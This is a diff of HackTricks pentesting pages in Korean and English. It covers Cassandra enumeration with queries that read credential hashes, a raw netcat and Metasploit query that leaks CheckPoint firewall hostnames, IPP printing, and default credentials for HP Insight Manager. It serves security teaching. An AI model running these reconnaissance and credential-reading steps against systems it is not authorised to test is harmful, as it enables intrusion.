* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,34 +1,35 @@
|
||||||
# 9042/9160 - 카산드라 펜테스팅
|
# 9042/9160 - Pentesting Cassandra
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 기본 정보
|
## Basic Information
|
||||||
|
|
||||||
**아파치 카산드라**는 **대량의 데이터**를 다루기 위해 설계된 **고도로 확장 가능하고 고성능**의 분산 데이터베이스로, **여러 개의 일반 서버**에서 **고가용성**을 제공하며 **단일 장애점**이 없습니다. 이는 **NoSQL 데이터베이스**의 한 종류입니다.
|
**Apache Cassandra**는 **고도로 확장 가능**하고, **고성능**의 분산 데이터베이스로, 많은 **상용 서버**에 걸쳐 **대량의 데이터**를 처리하도록 설계되었으며, **단일 실패 지점** 없이 **높은 가용성**을 제공합니다. 이는 **NoSQL 데이터베이스**의 일종입니다.
|
||||||
|
|
||||||
여러 경우에 카산드라가 **모든 자격 증명**을 (구성된 자격 증명이 없기 때문에) 허용한다는 것을 발견할 수 있으며, 이는 공격자가 데이터베이스를 **열거**할 수 있는 가능성을 가집니다.
|
여러 경우에 Cassandra가 **구성된 자격 증명**이 없기 때문에 **모든 자격 증명**을 수용할 수 있으며, 이는 공격자가 데이터베이스를 **열거**할 수 있게 할 수 있습니다.
|
||||||
|
|
||||||
**기본 포트:** 9042, 9160
|
**기본 포트:** 9042,9160
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
9042/tcp open cassandra-native Apache Cassandra 3.10 or later (native protocol versions 3/v3, 4/v4, 5/v5-beta)
|
9042/tcp open cassandra-native Apache Cassandra 3.10 or later (native protocol versions 3/v3, 4/v4, 5/v5-beta)
|
||||||
9160/tcp open cassandra syn-ack
|
9160/tcp open cassandra syn-ack
|
||||||
```
|
```
|
||||||
## 열거
|
## Enumeration
|
||||||
|
|
||||||
### 수동
|
### Manual
|
||||||
```bash
|
```bash
|
||||||
pip install cqlsh
|
pip install cqlsh
|
||||||
cqlsh <IP>
|
cqlsh <IP>
|
||||||
|
@ -43,29 +44,30 @@ SELECT * from logdb.user_auth; #Can contain credential hashes
|
||||||
SELECT * from logdb.user;
|
SELECT * from logdb.user;
|
||||||
SELECT * from configuration."config";
|
SELECT * from configuration."config";
|
||||||
```
|
```
|
||||||
### 자동화
|
### 자동화된
|
||||||
|
|
||||||
여기에는 많은 옵션이 없으며 nmap은 많은 정보를 얻지 못합니다.
|
여기에는 많은 옵션이 없으며 nmap은 많은 정보를 얻지 못합니다.
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script cassandra-info -p <PORT> <IP>
|
nmap -sV --script cassandra-info -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
### [**무차별 대입 공격**](../generic-methodologies-and-resources/brute-force.md#cassandra)
|
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#cassandra)
|
||||||
|
|
||||||
### **Shodan**
|
### **Shodan**
|
||||||
|
|
||||||
`port:9160 Cluster`\
|
`port:9160 Cluster`\
|
||||||
`port:9042 "잘못된 또는 지원되지 않는 프로토콜 버전"`
|
`port:9042 "Invalid or unsupported protocol version"`
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,29 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 PR을 제출**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
**CheckPoint Firewall-1** 방화벽과 상호작용하여 방화벽 이름과 관리 스테이션 이름과 같은 중요한 정보를 알아낼 수 있습니다. 이를 위해 **264/TCP** 포트로 쿼리를 보내면 됩니다.
|
**CheckPoint** **Firewall-1** 방화벽과 상호작용하여 방화벽의 이름과 관리 스테이션의 이름과 같은 귀중한 정보를 발견할 수 있습니다. 이는 **264/TCP** 포트에 쿼리를 전송하여 수행할 수 있습니다.
|
||||||
|
|
||||||
### 방화벽 및 관리 스테이션 이름 얻기
|
### 방화벽 및 관리 스테이션 이름 얻기
|
||||||
|
|
||||||
사전 인증 요청을 사용하여 **CheckPoint Firewall-1**을 대상으로하는 모듈을 실행할 수 있습니다. 이 작업에 필요한 명령은 아래에 설명되어 있습니다.
|
사전 인증 요청을 사용하여 **CheckPoint Firewall-1**을 대상으로 하는 모듈을 실행할 수 있습니다. 이 작업에 필요한 명령은 아래에 설명되어 있습니다:
|
||||||
```bash
|
```bash
|
||||||
use auxiliary/gather/checkpoint_hostname
|
use auxiliary/gather/checkpoint_hostname
|
||||||
set RHOST 10.10.10.10
|
set RHOST 10.10.10.10
|
||||||
```
|
```
|
||||||
실행 시, 모듈은 방화벽의 SecuRemote Topology 서비스에 연락을 시도합니다. 성공하면 CheckPoint 방화벽의 존재를 확인하고, 방화벽과 SmartCenter 관리 호스트의 이름을 가져옵니다. 다음은 출력 예시입니다:
|
모듈이 실행되면 방화벽의 SecuRemote Topology 서비스에 연락을 시도합니다. 성공하면 CheckPoint 방화벽의 존재를 확인하고 방화벽과 SmartCenter 관리 호스트의 이름을 가져옵니다. 출력이 어떻게 보일 수 있는지에 대한 예는 다음과 같습니다:
|
||||||
```text
|
```text
|
||||||
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
|
[*] Attempting to contact Checkpoint FW1 SecuRemote Topology service...
|
||||||
[+] Appears to be a CheckPoint Firewall...
|
[+] Appears to be a CheckPoint Firewall...
|
||||||
|
@ -30,33 +31,34 @@ set RHOST 10.10.10.10
|
||||||
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
|
[+] SmartCenter Host: FIREFIGHTER-MGMT.example.com
|
||||||
[*] Auxiliary module execution completed
|
[*] Auxiliary module execution completed
|
||||||
```
|
```
|
||||||
### 호스트 이름 및 ICA 이름 검색을 위한 대체 방법
|
### Alternative Method for Hostname and ICA Name Discovery
|
||||||
|
|
||||||
다른 기술은 방화벽으로 특정 쿼리를 보내고 응답을 파싱하여 방화벽의 호스트 이름과 ICA 이름을 추출하는 직접적인 명령을 사용하는 것입니다. 명령과 구조는 다음과 같습니다:
|
또 다른 기술은 방화벽에 특정 쿼리를 보내고 응답을 구문 분석하여 방화벽의 호스트 이름과 ICA 이름을 추출하는 직접 명령을 포함합니다. 명령과 그 구조는 다음과 같습니다:
|
||||||
```bash
|
```bash
|
||||||
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
|
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2-
|
||||||
```
|
```
|
||||||
다음 명령의 출력은 방화벽의 인증서 이름 (CN) 및 조직 (O)에 대한 자세한 정보를 제공합니다. 아래에 설명된 것과 같습니다.
|
이 명령의 출력은 아래에示된 대로 방화벽의 인증서 이름(CN) 및 조직(O)에 대한 자세한 정보를 제공합니다:
|
||||||
```text
|
```text
|
||||||
CN=Panama,O=MGMTT.srv.rxfrmi
|
CN=Panama,O=MGMTT.srv.rxfrmi
|
||||||
```
|
```
|
||||||
## 참고 자료
|
## References
|
||||||
|
|
||||||
* [https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit\_doGoviewsolutiondetails=&solutionid=sk69360](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360)
|
* [https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit\_doGoviewsolutiondetails=&solutionid=sk69360](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360)
|
||||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html\#check-point-firewall-1-topology-port-264](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264)
|
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html\#check-point-firewall-1-topology-port-264](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,25 +1,26 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 인터넷 인쇄 프로토콜 \(IPP\)
|
# 인터넷 인쇄 프로토콜 \(IPP\)
|
||||||
|
|
||||||
**인터넷 인쇄 프로토콜 (IPP)**은 **RFC2910** 및 **RFC2911**에서 지정된 대로 인터넷 상에서 인쇄를 위한 기반으로 사용됩니다. **IPP Everywhere**와 같은 발전을 통해 **모바일 및 클라우드 인쇄를 표준화**하고 **3D 인쇄**를 위한 확장 기능을 도입하는 등 확장 가능성을 갖추고 있습니다.
|
**인터넷 인쇄 프로토콜 (IPP)**는 **RFC2910** 및 **RFC2911**에 명시된 바와 같이 인터넷을 통한 인쇄의 기초가 됩니다. **IPP Everywhere**와 같은 발전은 모바일 및 클라우드 인쇄를 표준화하는 것을 목표로 하며, **3D 인쇄**를 위한 확장 기능의 도입으로 IPP의 확장 가능성을 보여줍니다.
|
||||||
|
|
||||||
**HTTP** 프로토콜을 활용하여 IPP는 **기본/다이제스트 인증** 및 **SSL/TLS 암호화**와 같은 확립된 보안 관행을 활용합니다. 인쇄 작업 제출 또는 프린터 상태 조회와 같은 작업은 IPP 서버를 대상으로 하는 **HTTP POST 요청**을 통해 수행되며, 이는 **631/tcp 포트**에서 작동합니다.
|
**HTTP** 프로토콜을 활용하여 IPP는 **기본/다이제스트 인증** 및 **SSL/TLS 암호화**와 같은 확립된 보안 관행의 혜택을 누립니다. 인쇄 작업 제출이나 프린터 상태 조회와 같은 작업은 **HTTP POST 요청**을 통해 IPP 서버에 전달되며, 이 서버는 **포트 631/tcp**에서 운영됩니다.
|
||||||
|
|
||||||
IPP의 잘 알려진 구현체는 CUPS로, 다양한 Linux 배포판과 OS X에서 널리 사용되는 오픈 소스 인쇄 시스템입니다. 그러나 LPD와 마찬가지로 IPP는 **PostScript** 또는 **PJL 파일**을 통해 악성 콘텐츠를 전송하는 데 악용될 수 있으며, 이는 잠재적인 보안 위험을 강조합니다.
|
IPP의 잘 알려진 구현체는 **CUPS**로, 다양한 리눅스 배포판과 OS X에서 널리 사용되는 오픈 소스 인쇄 시스템입니다. 유용성에도 불구하고, IPP는 LPD와 유사하게 **PostScript** 또는 **PJL 파일**을 통해 악성 콘텐츠를 전송하는 데 악용될 수 있어 잠재적인 보안 위험을 강조합니다.
|
||||||
```python
|
```python
|
||||||
# Example of sending an IPP request using Python
|
# Example of sending an IPP request using Python
|
||||||
import requests
|
import requests
|
||||||
|
@ -31,20 +32,19 @@ data = b"..." # IPP request data goes here
|
||||||
response = requests.post(url, headers=headers, data=data, verify=True)
|
response = requests.post(url, headers=headers, data=data, verify=True)
|
||||||
print(response.status_code)
|
print(response.status_code)
|
||||||
```
|
```
|
||||||
만약 [프린터 해킹에 대해 더 알고 싶다면 이 페이지를 읽어보세요](http://hacking-printers.net/wiki/index.php/Main_Page).
|
If you want to learn more about [**프린터 해킹에 대해 알아보려면 이 페이지를 읽어보세요**](http://hacking-printers.net/wiki/index.php/Main_Page).
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**구독 계획**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) or the [**텔레그램 그룹**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks)와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,22 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
**기본 포트:** 2301,2381
|
**기본 포트:** 2301,2381
|
||||||
|
|
||||||
# **기본 암호**
|
# **기본 비밀번호**
|
||||||
|
|
||||||
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
|
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
|
||||||
|
|
||||||
|
@ -29,16 +30,17 @@ pg_hba.conf
|
||||||
jboss-service.xml
|
jboss-service.xml
|
||||||
.namazurc
|
.namazurc
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
